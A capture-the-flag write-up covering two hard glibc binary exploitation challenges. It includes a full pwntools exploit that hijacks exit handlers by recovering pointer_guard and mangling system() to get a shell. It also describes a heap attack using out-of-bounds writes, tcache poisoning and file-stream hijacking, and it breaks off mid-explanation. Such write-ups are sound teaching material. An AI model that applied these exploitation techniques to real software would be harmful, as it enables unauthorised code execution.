Name: Placeholder Category: Binary Exploitation (pwn) Difficulty: Hard
Alright, let’s talk about this binary.
After popping it open, I quickly noticed it had just two functions:main() and exit_program(). It starts with a harmless-looking prompt for Date of Birth in dd-mm-yyyy format — but under the hood, it’s a beautifully disguised arbitrary read/write vulnerability waiting to be exploited.
Initial Observations
Take a look at this main() snippet:
strtoul(nptr, 0LL, 16);
Yeah, that right there. It takes the parsed DOB, strips the dashes, and parses it as a hexadecimal address. For example, inputting: 41-41-4141 turns into 0x41414141. That value is then used as an offset to a memory array with read/write access. This gives us a byte-wise arbitrary read/write primitive. Boom. User input is now being interpreted as a memory address.
They go and treat this value as an offset for the memory array. And allow read/write access. You see where this is going?
This gives us an arbitrary read/write primitive. Byte-by-byte, granted, but We’ll take it.
Possible Attack Surface
ROP on stack? Nah. No return instruction.
GOT overwrite? Forget it. FULLRELRO is enabled.
Even though we can leak libc via puts from the GOT, we can't overwrite GOT entries. At this point, you'd think it's a dead end. But then... Why would the author place the exit() in the exit_program()? Is he trying to hint something ? Suspicious. Very suspicious.
Enter Exit Handlers
Now I remembered seeing some deep wizardry involving exit handlers before, so I went hunting. And yeah, jackpot. Helpful writeups I followed:
When exit() is called, glibc executes internal exit handlers (a.k.a. __exit_funcs). These include things like _dl_fini – a function pointer stored in a struct, mangled via a secret pointer_guard stored in the FS segment at offset 0x30. The pointers are mangled because modern libc has internal pointer protection—meaning critical function pointers (like those used during exit()) are mangled using a secret pointer_guard to prevent direct tampering.
If you can:
Leak the pointer_guard (via known encrypted value and known original pointer)
Encrypt your desired function pointer (like system) using that same method
Overwrite the function pointer in __exit_funcs
...then when exit() runs, it'll call your payload.
Cool, right?
Let’s implement this.
Exploit Strategy
Leak libc base via puts@GOT.
Compute libc base.
Find __exit_funcs and the mangled _dl_finiin libc
Oops, Can’t calculate _dl_fini directly as it is not an exported functions (Need an unique way to find out)
Read mangled pointer to _dl_fini,Recover the pointer_guard.
Encrypt system() using the same mangling method.
Overwrite the exit handler and pass /bin/sh as an argument.
Trigger exit() and pop the shell.
Pointer Mangling Utilities
Thanks to rop.la, Used the following functions from the author's post:
Here’s the full Python script skeleton used to perform the attack:
Complete Exploit:
#!/bin/python3
from pwn import *
memory = 0x404030
def conn():
context.arch = 'amd64'
context.log_level = 'error'
elf = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
is_debug = any(arg.lower() == 'debug' for arg in sys.argv[1:])
if is_debug:
p = process('./chall')
else:
p = remote('pwn.traboda.net', 54563)
return p,elf,libc
def banner():print("\n[*] System pwned\n[*] Shell spawned\n[*] Get the flag!")
def write(address, data: list[int],p):
for i in range(len(data)):
p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
p.sendline(formatter(address + i - memory))
p.recvuntil(b'Read (r) or Write (w)?')
p.sendline(b'w')
p.recvuntil(b'Enter character to write: ')
p.sendline(str(data[i]).encode())
def read(where, length, p):
leak = 0
for i in range(length):
try:
p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
p.sendline(formatter(where + i))
p.recvuntil(b'Read (r) or Write (w)?')
p.sendline(b'r')
response = p.recvline(timeout=5)
leak = int(response.decode().split(':')[1].strip()) << 8*i | leak
except EOFError:
print(f"Error reading address: {hex(where + i)}")
break # Or handle the error as needed
return leak
def formatter(val):
hex_val = hex(val)[2:]
hex_val = str(hex_val.zfill(16))
return hex_val[:2].encode() + b'-' + hex_val[2:4].encode() + b'-' + hex_val[4:].encode()
def main():
p,e,libc = conn()
# Stage 1 - leak the libc base address
#leak puts and calculate libc base
libc.address = read(0xffffffffffffff78,6,p) - libc.symbols['puts']
#address of the function _dl_fini
orig_handler = libc.address + 0x219380
#address of __exit_func (initial)
exit_funcs_initial = libc.address + 0x204fc0
#Leak mangled pointer of _dl_fini
encrypted_pointer = read((exit_funcs_initial + 24 - memory),8,p)
# calculate key
key = ror(encrypted_pointer, 0x11, 64) ^ orig_handler
# mangle the address of libc_system
write(exit_funcs_initial + 24, encrypt(libc.symbols['system'], key),p)
# set rdi to /bin/sh
write(exit_funcs_initial + 32, list(p64(libc.address + 0x001cb42f)),p)
#Get the F3king Shell
p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
p.sendline(b'exit')
p.recvuntil(b"Exiting the program.")
banner()
p.interactive()
if __name__ == "__main__":
main()
TL;DR
Arbitrary byte-wise read/write via DOB input.
ROP & GOT overwrites ruled out by protections.
Abused glibc exit handlers for RCE.
Reverse engineered pointer_guard and mangled system().
Exited cleanly into a shell
Name: Handout Category: Binary Exploitation (pwn) Difficulty: Hard
Right from the jump, this binary gave off serious heap exploitation vibes. We had four conventional options in the menu:
create_note()
delete_note()
read_note()
write_note()
Each one whispering “heap corruption” in its own way.
So naturally, the first step in any heap challenge: Hunt the Primitives.
Primitive Recon
Things I was specifically looking for:
Use After Free ? Nope. The author was nice enough to NULL out the pointer after freeing:
*((_QWORD *)¬es + 2 * (int)v1) = 0LL;
Double free? Nah.
OOB (Out Of Bounds)? Yes, Jackpot.
write_note() asks for both an index and an offset to write into — and no bounds checks on the offset. With this golden ticket, I had full freedom to scribble past chunk boundaries and start crafting overlapping chunks.
The Overlap
I massaged the heap into a setup where I had:
A large chunk (the Overlapper)
A smaller chunk sitting inside it (the Victim)
By leveraging the OOB write from the large chunk, I nuked the metadata of the larger one using test chunk and teed up a tcache poisoning attack.
test3_chunk = create(15,"test")
overlapper4_chunk = create(15,"Overlapper")
victim5_chunk = create(15,"Victim")
write(2, 24, 0xf1) #the 2 points to the index of chunk "test"
I poisoned tcache with an arbitrary malloc target. So far, so clean. From here, we’re just going to play with the dynamic allocator
Leaks & Limitations
Next step: Info leaks. libc? Heap? Stack? Anything? Let’s go. Heap leak? Easy.
But Libc?that was tricky.
At first, I assumed read_note() would be my leak buddy. But plot twist — it doesn't dereference the note. It just prints the pointer.☠️ However, that turned out to be a blessing in disguise. Because that meant... heap pointer leak! Perfect for recovering the tcache pointer mangling key (shifted right by 12).
Also, here's a lovely bug in read_note(): if (v1 > 10) // but what about v1 < 0?
Negative indexing was possible. Which meant I could reach libc symbols like stderr@GLIBC_2.2.5, and boom — libc leak obtained.
Fsrop, but make it Angry
With no classic read/write primitives, no stack leak, and no easy ROP setup... I knew where this was heading.
Angry-Fs(r)op.
This one’s beautifully explained in Kylebot's blog, so I won’t repeat it all.
TL;DR: Overwrite entities such as vtable, wide_data etc of file structs like stderr, stdout, stdin, get code execution when libc uses it in functions like printf(), scanf(), fwrite(), fread() etc.